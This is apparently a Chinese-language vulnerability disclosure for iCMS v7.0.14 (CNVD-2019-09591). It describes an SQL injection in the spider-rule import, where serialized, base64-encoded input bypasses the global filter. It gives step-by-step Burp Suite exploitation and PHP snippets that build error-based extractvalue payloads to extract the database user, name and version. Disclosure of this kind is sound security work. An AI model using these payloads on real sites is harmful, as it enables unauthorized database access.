该漏洞CNVD-ID: CNVD-2019-09591
漏洞提交CNVD后,待CNVD公示才发出本文。
测试环境:
程序版本:v7.0.14
Windows + firefox + burpsuite + apache2 + PHP5.6.27(phpStudy集成环境)
iCMS官网:https://www.icmsdev.com/
一、漏洞分析
/app/spider/spider_rule.admincp.php 传入文件的方式可被利用以绕过全局过滤导致SQL注入。
传入文件内容是序列化的,并经过base64编码,所以可绕过全局过滤。
这里组装SQL语句。
/iPHP/core/iDB.class.php
这里执行SQL语句。
/iPHP/core/DB/Mysqli.class.php
二、漏洞测试
1、 安装 http://localhost/install/index.php
2、 新建一个.php文件,写入如下代码:
<?php
$str = array("name" => "aa1' or (select 1 from icms_user where uid=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))) or '");
$sstr = serialize($str);
$to64 = base64_encode($sstr);
echo $to64;
?>
运行这段代码将得到一段payload,用于BurpSuite里执行。
3、 登录管理后台,选择“采集管理”:
4、先选择“采集规则”, 再选择“导入规则”:
在桌面新建一个.txt文件,写入任意内容。打开burpsuite拦截后选择“要导入的规则”,导入该.txt文件。
5、burpsuite拦截,上面第二步得到的payload复制到这里;发到repeater
6、repeater里分别获取user(), database(), version(), user()
<?php
$str = array("name" => "aa1' or (select 1 from icms_user where uid=1 and (extractvalue(1,concat(0x7e,(select database()),0x7e)))) or '");
$sstr = serialize($str);
$to64 = base64_encode($sstr);
echo $to64;
?>
<?php
$str = array("name" => "aa1' or (select 1 from icms_user where uid=1 and (extractvalue(1,concat(0x7e,(select version()),0x7e)))) or '");
$sstr = serialize($str);
$to64 = base64_encode($sstr);
echo $to64;
?>